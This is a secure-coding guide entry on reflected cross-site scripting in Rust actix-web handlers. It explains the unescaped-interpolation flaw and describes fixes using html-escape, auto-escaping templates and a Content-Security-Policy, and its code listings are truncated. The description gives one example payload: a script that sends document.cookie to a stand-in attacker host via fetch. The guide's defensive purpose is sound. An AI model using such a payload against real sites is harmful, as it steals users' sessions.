Reflected cross-site scripting (XSS)
Need
Prevention of reflected cross-site scripting by encoding user input before it reaches an HTML response
Context
• Usage of Rust 1.75+ for building application services
• Usage of the actix-web crate for handling HTTP requests
• Usage of the html-escape crate for HTML output encoding
Description
1. Non compliant code
use actix_web::{get, web, HttpResponse};
use serde::Deserialize;
#[derive(Deserialize)]
struct GreetQuery {
user: String,
}
...The `greet` handler below reads the `user` query parameter and interpolates it with `format!` into an HTML document that is returned as the response body. Nothing encodes the value before it reaches the page, so HTML metacharacters such as `<`, `>` and `"` keep their meaning. A request to `/greet?user=<script>fetch('https://attacker.example/?c='+document.cookie)</script>` makes the server reflect a script that the victim's browser executes in the origin of the application. An attacker only needs to trick a user into opening a crafted link to run JavaScript in their session: steal session tokens that are not `HttpOnly`, perform actions on their behalf, or rewrite the page to phish for credentials. The same flaw appears in Axum handlers that build a `Response` body from `Query`, `Form` or header values.
2. Steps
• Encode every request-derived value (query, path, form, JSON body and header values) before writing it into an HTML response, in both Actix Web and Axum handlers.
• Choose the encoder by output context; use `html_escape::encode_text` for element content and `html_escape::encode_double_quoted_attribute` for attribute values.
• Prefer a template engine with automatic escaping, such as `askama` or `maud`, over building HTML with `format!` or string concatenation.
• Return JSON with the `application/json` content type when the client does not need HTML, so browsers never interpret the value as markup.
• Send a restrictive `Content-Security-Policy` header that disallows inline scripts, as a second layer of defense against encoding mistakes.
3. Secure code example
use actix_web::{get, web, HttpResponse};
use html_escape::encode_text;
use serde::Deserialize;
#[derive(Deserialize)]
struct GreetQuery {
user: String,
}...The corrected handler passes the parameter through `html_escape::encode_text` before it is placed in the page. The function replaces `&`, `<` and `>` with their HTML entities, so the browser renders the value as text instead of parsing it as markup. `encode_text` is the right encoder for element content, which is where this value is written. A value placed inside an attribute needs `encode_double_quoted_attribute`, and a value placed inside a script, a style block or a URL needs a context-specific encoder; the safest option is a template engine with automatic escaping, such as `askama` or `maud`, which applies the correct encoding per context. The response also declares its charset and sends a `Content-Security-Policy` header. The policy is a second layer of defense: even if an encoding mistake slips through, the browser refuses to run inline scripts that the policy does not allow.
References
• 008. Reflected cross-site scripting (XSS)